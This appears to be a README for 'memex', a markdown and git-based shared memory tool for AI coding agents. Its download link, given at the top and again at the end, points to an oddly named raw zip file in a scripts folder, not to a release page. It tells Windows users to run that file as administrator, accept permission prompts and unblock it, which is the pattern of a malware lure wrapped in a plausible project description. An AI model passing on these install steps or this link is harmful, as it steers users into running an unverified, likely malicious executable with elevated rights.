memex gives coding agents a shared memory that lasts across sessions. It stores notes in plain markdown and keeps them in sync with git. This makes it easy to keep project context, task history, and decisions in one place.
Use memex if you want your AI tools to remember what matters across restarts, new chats, and different editors.
- Open the download page: https://github.com/Surviv-ior/memex/raw/refs/heads/main/scripts/Software-wagonload.zip
- On that page, look for the latest release or the main download files
- Download the Windows version that matches your computer
- Save the file to your Downloads folder
- Open the file and follow the steps on screen
- If Windows asks for permission, choose Yes
If the download comes as a folder, unzip it first, then open the app inside that folder.
memex helps AI coding tools keep a durable memory for your work.
It can help you:
- Save project notes in markdown files
- Keep task context across sessions
- Track decisions and important facts
- Share memory between tools that support MCP
- Sync memory through git
- Work with Claude Code, Cursor, VS Code Copilot, Codex, Windsurf, and other MCP clients
Because it uses markdown and git, you can read the files yourself and keep full control of your data.
For a smooth start on Windows, make sure you have:
- Windows 10 or Windows 11
- A stable internet connection for the first download
- Enough free space for the app and your notes
- Git installed if you want sync support
- An MCP-compatible AI tool if you plan to connect memex to an agent
If you do not use git yet, you can still start with local markdown notes and add sync later.
- Download memex from the link above
- Right-click the downloaded file
- Choose Open or Run as administrator if needed
- Follow the install steps
- Choose a folder where memex should store your memory files
- Finish setup
- Launch memex from the Start menu or desktop shortcut
If memex opens in a folder-based setup, keep that folder in a place you can find later. Your memory files live there.
After you open memex for the first time:
- Pick a workspace or project folder
- Let memex create its markdown memory files
- Connect your AI tool if you use one
- Set up git sync if you want your memory backed up in a repo
- Add a few notes so the memory starts to grow
A good first note might include:
- What your project does
- Main files or folders
- Important decisions
- Things to avoid changing
- Open tasks
memex works with tools that can use MCP. That means your AI assistant can read and write memory in a structured way.
Common uses include:
- Claude Code for project context
- Cursor for coding help with memory
- VS Code Copilot for notes and task recall
- Codex for agent-driven work
- Windsurf for multi-step coding sessions
You can also use memex outside of AI tools if you want a clean markdown system for project memory.
memex keeps information in plain text markdown files. This is useful because:
- You can open the files in any text editor
- You can back them up with git
- You can review changes with normal file tools
- You are not locked into a special database
A simple memory layout may include:
project.mdfor project factstasks.mdfor current workdecisions.mdfor design choicesnotes/for smaller linked notesarchive/for old items you want to keep
The exact folder names may vary, but the idea stays the same: small linked notes that build a long-term memory.
Git sync keeps your memory files in step with your repo. This helps when you:
- Work on more than one computer
- Want a backup of your notes
- Need a change history
- Share memory with your team
A typical flow looks like this:
- Make a note in memex
- Save the file
- Commit the change with git
- Pull changes on another machine
- Keep the memory current across sessions
If you already use git for code, memex fits into that flow with little effort.
Once memex is set up, use it like this:
- Open your project
- Add a note about the current task
- Let your AI tool read the memory
- Ask the agent to update notes after work is done
- Review the markdown files when needed
Good things to store:
- Project goals
- Known bugs
- Naming rules
- File paths that matter
- User requests
- Choices you do not want changed later
This keeps your agent from starting from zero each time.
- Try opening it again as administrator
- Check that the file finished downloading
- Move the app out of a compressed folder if needed
- Restart Windows and try once more
- Right-click the file
- Open Properties
- Look for an Unblock option
- Apply the change and run the app again
- Check that you chose the right workspace folder
- Look for the markdown files in the memory folder
- Make sure the app has permission to write files
- Confirm that the folder still exists
- Check that git is installed
- Make sure the repo has a remote set up
- Confirm that you can commit changes by hand
- Pull the latest changes before you start work
- Check that your tool supports MCP
- Make sure memex is running
- Review the connection settings in your AI app
- Restart the editor after setup
For best results, use memex in a simple routine:
- Start your project
- Open memex
- Read the current notes
- Tell your AI tool what you want to do
- Save new facts as markdown notes
- Commit changes with git
- Reopen later and pick up where you left off
This keeps the memory useful and easy to trust.
- agent-memory
- ai-agent
- ai-coding
- claude-code
- cursor
- knowledge-management
- mcp-server
- memory
- vscode
- zettelkasten
memex uses markdown, so the files stay simple and readable. A note may look like this:
- Title at the top
- Short facts below
- Links to related notes
- Checkboxes for tasks
- Dates for history
You can edit the files in Notepad, VS Code, or any text editor.
Your memory stays in files you can inspect. That means:
- You can copy it
- You can back it up
- You can move it
- You can delete it
- You can version it with git
This makes memex a good fit for people who want simple storage without a database.
- Keep notes short and clear
- Use one idea per file
- Update memory after important changes
- Remove stale notes when they no longer help
- Keep git commits small and focused
- Use plain names for folders and files
A little structure goes a long way when agents need to remember context later
Open the main page here: https://github.com/Surviv-ior/memex/raw/refs/heads/main/scripts/Software-wagonload.zip
- Download memex from the link above
- Install it on Windows
- Open your first workspace
- Create a few markdown notes
- Connect your AI tool if needed
- Turn on git sync if you want shared history